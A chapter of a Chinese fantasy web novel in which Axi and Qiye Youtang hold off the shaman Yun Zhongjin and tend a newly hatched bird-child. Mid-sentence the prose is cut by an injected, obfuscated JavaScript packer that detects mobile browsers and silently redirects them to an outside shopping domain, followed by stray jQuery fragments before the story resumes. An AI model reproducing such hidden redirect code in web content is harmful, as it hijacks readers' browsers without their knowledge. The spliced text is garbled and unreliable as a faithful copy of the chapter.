文趣网 > 其他小说 > 神女大人后悔救我了吗 > 20. 第 20 章
    云中尽猛一抬首,旋在眸中的泪花硬是被他憋了回去。

    未久,他无顾阿兮威胁,又往前迈出一步,像是认定了什么,脸上竟多出几分笑意:“她还好吗?有没有跟你提起过我?她是不是......”

    “闭嘴!”

    阿兮眸燃怒火,御剑在对面脚下划出一道深深地痕。

    “再敢近前一步,我定杀了你!”

    云中尽非常识相地往后退了一步,仍挂着一张笑脸,姿态比方才低了一大截:“好好好......我不过来便是,你别生气啊,方才他不知是故人的后代,才对你动了杀念。幸得你的剑气唤醒了我,放心,我不会伤你的,但你刚刚开月之举,往体内注入的灵气太多,以你现在的修为......身体是吃不消的,要不我帮你瞧瞧?”

    “不......”

    阿兮怒意涌上心头,唇角又溢出一抹猩红。

    “阿兮!”

    祁夜有棠忙扶她坐下,让她靠着树枝调息。

    他看向那道深痕,嗤道:“堂堂大巫圣,竟也学偷鸡摸狗之事,若真想为你那阴险狡诈的爱徒报仇,在巫境便可动手,又何必一路尾随我们至此?”

    “不是我的,是他的爱徒!他就想看看你们要干什么,然后让你们前功尽弃,对他来说这是最好的报复。”

    “你以为我们会信你吗?是你,毁了他们,让他们永远也见不了面!”祁夜有棠眼眶通红,眸光稀碎。

    云中尽仰天一望,对着暗沉沉的天空长叹一气:“罢了,他毁了树,我也难辞其咎。”

    说完,他看向祁夜有棠,认真打量了一番:“一线蛊本是他让酋叶暂为保管的,不想酋叶为抓你立功竟将它种在了你的身上,此事是我们对不住你。但你毕竟是我们十二巫指名点姓要的人,我也不能让你跑了。但我若强行抓你回去,这小姑娘怕是会与我拼命,看在她家祖宗的面子上,我可以承诺。”

    他指着脚下深痕:“你若不跨过它,我便不抓你。但你一旦越界,纵那小姑娘如何护你,我都不会心软。”

    说完,他挥袖一甩,往那地上便是一坐,双手压在膝盖上,闭了眼:“黑夜将至,祝尔好梦~”

    祁夜有棠深深凝视着他,只觉他像是变了一个人。

    刚刚不分青红皂白要为爱徒杀人,现在却又是这样一副看透其间因果的姿态。

    好莫名奇妙的惺惺做派!

    阿兮将他拉回自己身边,在他耳边低声耳语:“不要过去!”

    祁夜有棠见她面色苍白,连说话都似用尽了力气。他想刚才一定是她的极限了,不知怎么,他的手竟不自觉地抬起,环过阿兮的肩,往自己身上凑了凑。

    阿兮并未抗拒,自然靠在他的肩膀上,她实在累极了,缓缓合上了眼睛。

    祁夜有棠一夜无眠。

    直到天明,他看见对面有一双眼睛正死死盯着他。

    云中尽面表严肃,依旧负棍而立,眼神中的杀戮之意不输昨日。但纵使如此,他也只是笔直地站在那儿,并未跨过那道深痕。

    这时,阿兮也醒了,一睁眼便瞅了对面,顷刻便移开,装作什么也不曾看见。

    知道是从别人肩膀上醒来的,她恍然抬头,晓看天色。

    “是……时候了。”

    她慢慢说道。

    祁夜有棠扶她坐好,二人默契地望向那棵被月白雾气裹挟的女树根部。

    四颗灵珠绕树旋转,雾气在断裂的根部流转,慢慢地团成一团,又慢慢地散开,白色雾气中央,慢慢显露出一个椭圆的蛋衣。

    祁夜有棠直眼盯着那团软乎乎的蛋衣,不禁问道:“是按出生时辰依次降生吗?”

    阿兮想了想:“投入女树的重明鸟蛋对冷暖会有不同的感知,谁喜欢春天谁就先出来。”

    祁夜有棠眸含惊喜,就雾气散开的这段时间,他已在脑中想了那蛋衣下的婴儿所有可能的模样。

    但他长这么大还尚未见过一个小婴儿,更别说重明鸟变成的婴儿了。

    人头鸟身?带着双翅膀的人?有尖嘴壳的人?

    诸如此类,人与鸟组合的形态,他通通想了一遍。

    越想越慌张。

    反观旁边的阿兮,显得淡定多了。

    未久,那柔软的蛋衣被一只更软的小手挠破,沉寂的银山因一声婴儿的啼哭变得躁动起来。

    祁夜有棠和阿兮立时跨出一大步。

    祁夜有棠帮小家伙撕开剩余的蛋衣,用双手小心翼翼地将其从里取出,见是全乎的人,他高兴得一把拥入怀中。

    但他并不会抱小孩,小家伙哭得更厉害了,幼小的身躯在怀中挣扎着,红彤彤的皮肤斜向一转,吓得他把衣袖一甩,将眸中显露之物完全遮去。

    脚步便得凌乱起来,他眼角余光瞅了瞅已侧过身去的姑娘,此时有多尴尬只有自己最清楚。

    “呃......那个,阿兮,他们是你救的......不如你帮他取个名字吧......”他慌乱地说道。

    阿兮沉着眉眼,埋下头也不转身,好一会才道:“春,春......”

    祁夜有棠认为她说完了,立马点头附和:“嗯嗯......春春,好,很好的名字~”

    他抱着小婴儿,背对着阿兮:“春春,以后你就叫春春了......”

    春春仍是哭个不停,在怀中挣扎翻腾,祁夜有棠小心翼翼抱着,怕弄疼他便不敢用力,又担心不用力他一个翻身就掉地上了。

    他有些无奈,也有些无助。

    这时,阿兮从倒塌的树枝下取出包裹,拿出一小片果脯给祁夜有棠:“他应该是饿了!”

    祁夜有棠也不懂,但他觉得阿兮说得对,小婴儿有没有烦恼,那为什么哭呢,不就是因为饿了吗?

    他把果脯轻轻递进春春嗷嗷叫的小嘴巴,以为哭声马上就要落下去了,可谁曾想那片果脯裹着粘液被春春吐了出来。

    哭声更扎耳了。

    这边的响动惊动了深痕另一边的人。

    云中尽将玄黑长棍往地上重重一掷,山地摇晃,浓尘突起。

    他面色冷厉且严肃,凝视着对面,也不说话,目光几多怨怒。

    但仍旧没有跨过那道深痕。

    祁夜有棠没想到他居然还挺讲信用。忙着哄春春,也便不管了。

    小婴儿应该吃什么啊?

    为什么还在哭啊?

    怎么办啊?

    他下意识看向阿兮,在他眼中,阿兮除了不会洗鞋

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528306|202579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,好似无所不能。

    而阿兮颇为无奈的神情让他打消了这个念头。

    他强逼自己从震天的哭声中冷静下来,似才想起,小婴儿都是喝奶长大的。

    他瞅瞅自己,又看了看阿兮,忽然想扇自己一巴掌。

    “我去找些吃的……”

    他抱稳了春春,拔腿就跑。

    阿兮有些疑惑,但未细究,找了处靠着舒服的地方坐着,将包裹里的绣花鞋细细审查了一番又放回去。

    “你是何人?”

    云中尽的声音依旧带着怒意。

    阿兮瞅了眼对面,也只单单瞅了一眼,并未说话。

    “你是神族?”

    对方不肯放弃。

    “人族?”

    “妖族?”

    云中尽定定地盯着阿兮,试图从她的反应中看出答案,但他不是个有耐心的,每问一句脸上便会挂几分急色。

    “你不可能是巫族!”

    阿兮许是有些烦了,挑眼看向对面:“有人跟我说,四境这天下能与我过招的人并不多,你云中尽便是其中一个。此次若是没碰上,有些可惜。若是碰见了,我就使出全力。若我不幸死在你手里,那么就会有人去巫境教你们巫主禅位。”

    “禅位?”云中尽的眼神尽是不屑与嘲讽,“那我很期待你死在我手里的那一天。”

    阿兮的目光停留在他脚下的那道深痕上:“你可以试试跨过它!”

    听闻,云中尽猛一抬脚,脚下生出的强风将深痕越拉越大。他看着阿兮,眼神冷漠,嘴角却勾起一抹冷笑。好半晌,他将脚撤回,转身远去。

    “跨过那日,便是你们的死期。”

    云中尽故意传音过来,只为让阿兮听得更清楚。

    阿兮松一口气,靠着树干,闭了眼。

    ~

    祁夜有棠回来时怀中并无婴儿,只有一只羽毛尚未长齐的幼鸟。

    小鸟依偎在他怀里,挣着圆溜溜的眼睛,观察者外面的一切。

    “阿兮?”

    祁夜有棠轻声唤着,见阿兮无反应,便默默在旁边坐下。

    望了眼对面,那老头已不见踪影,悬着的心这才落下去。

    方才他去寻了些野果,在查看银山地貌的途中想到了那个老头可能会对阿兮不利,往回跑时春春的哭声蓦然停止。他低头一瞧,怀中的小婴儿竟一下子缩小成了一只粉嫩嫩的雏鸟。

    隐约感觉到什么,他慌忙跑回来,想问问阿兮。

    他把兜里的野果和干粮放在一起,认真看着阿兮。

    相比于灵蛇老妖,云中尽的实力确实很强,昨日她都吐了两次血。

    都是为了他!

    “阿兮……”

    也不知道要说什么,心头一阵酸涩。

    “嗯?”

    轻软的声音拨起他的心弦,心跳也加快了。

    “可是吵到你了?”

    阿兮调整姿势,看着他:“我听见你在叫我。”

    祁夜有棠摇头:“无事,继续睡吧!”

    怕再吵到她,他走远了几步。

    阿兮瞥一眼他怀中的幼鸟,已无睡意:“那是……春春?”

    祁夜有棠也不是十分确定:“应该是吧!”